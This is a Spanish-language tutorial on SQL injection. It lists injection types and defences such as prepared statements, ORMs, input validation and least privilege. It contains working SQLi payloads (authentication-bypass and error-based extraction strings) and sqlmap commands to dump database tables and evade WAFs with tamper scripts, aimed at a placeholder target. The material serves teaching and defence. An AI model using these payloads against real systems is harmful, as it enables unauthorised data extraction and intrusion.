¿Qué es SQL Injection?
SQL Injection (SQLi) es una vulnerabilidad que permite a un atacante interferir en las consultas que una aplicación hace a su base de datos. Es consistentemente una de las vulnerabilidades más críticas según el OWASP Top 10.
El impacto puede incluir:
- Extracción de datos confidenciales
- Bypass de autenticación
- Modificación o eliminación de datos
- Ejecución de comandos en el sistema operativo
Tipos de SQL Injection
| Tipo | Descripción | Detección |
|---|---|---|
| In-band | Resultado visible en respuesta | Fácil |
| Error-based | Errores de BD exponen info | Media |
| Union-based | Usa UNION para extraer datos | Media |
| Blind Boolean | Inferencia por true/false | Difícil |
| Blind Time-based | Inferencia por tiempo de respuesta | Difícil |
| Out-of-band | DNS/HTTP callback | Muy difícil |
Detección Manual
Paso 1: Identificar puntos de entrada
Parámetros GET/POST, cookies, headers HTTP. Prueba caracteres especiales:
'
"
`
' OR '1'='1
" OR "1"="1
' OR 1=1--
Paso 2: Observar el comportamiento
-- Consulta original del servidor
SELECT * FROM usuarios WHERE id = '1'
-- Con payload inyectado
SELECT * FROM usuarios WHERE id = '1' OR '1'='1'
-- Retorna TODOS los registros
Paso 3: Error-based SQLi
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
Explotación con SQLMap
⚠️ Usa SQLMap únicamente en sistemas donde tengas permiso escrito.
Detección básica
# Escaneo básico
sqlmap -u "https://target.com/page?id=1" --batch
# Con cookies (sesión autenticada)
sqlmap -u "https://target.com/page?id=1" \
--cookie="PHPSESSID=abc123" \
--batch --level=3
Enumeración de base de datos
# Listar bases de datos
sqlmap -u "https://target.com/page?id=1" --dbs
# Listar tablas de una DB
sqlmap -u "https://target.com/page?id=1" -D nombre_db --tables
# Extraer columnas
sqlmap -u "https://target.com/page?id=1" -D nombre_db -T usuarios --columns
# Dump de datos
sqlmap -u "https://target.com/page?id=1" -D nombre_db -T usuarios --dump
Bypass de WAF
# Tamper scripts para evadir filtros
sqlmap -u "https://target.com/page?id=1" \
--tamper=space2comment,randomcase,charencode \
--random-agent
Mitigación y Defensa
1. Prepared Statements (la solución definitiva)
// ❌ VULNERABLE
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// ✅ SEGURO — Prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
# Python con psycopg2
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
2. ORM (Object-Relational Mapper)
// Node.js con Sequelize — automáticamente parametrizado
const user = await User.findOne({ where: { id: req.params.id } })
3. Validación de entrada
import re
def validate_id(user_input):
if not re.match(r'^\d+$', str(user_input)):
raise ValueError("ID inválido")
return int(user_input)
4. Principio de mínimo privilegio
-- Usuario de la app solo puede SELECT/INSERT, nunca DROP
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_user'@'localhost';
-- NO otorgar: DROP, DELETE en tablas críticas, FILE, SUPER
Laboratorios de práctica (legales)
- PortSwigger Web Security Academy — gratis
- DVWA — instala local
- HackTheBox — entorno controlado
- TryHackMe — guiado para principiantes
Conclusión
SQL Injection sigue siendo una de las vulnerabilidades más peligrosas y prevalentes. La defensa efectiva requiere siempre usar prepared statements, nunca concatenar input del usuario directamente en queries SQL. El conocimiento de las técnicas de ataque es esencial para construir defensas robustas.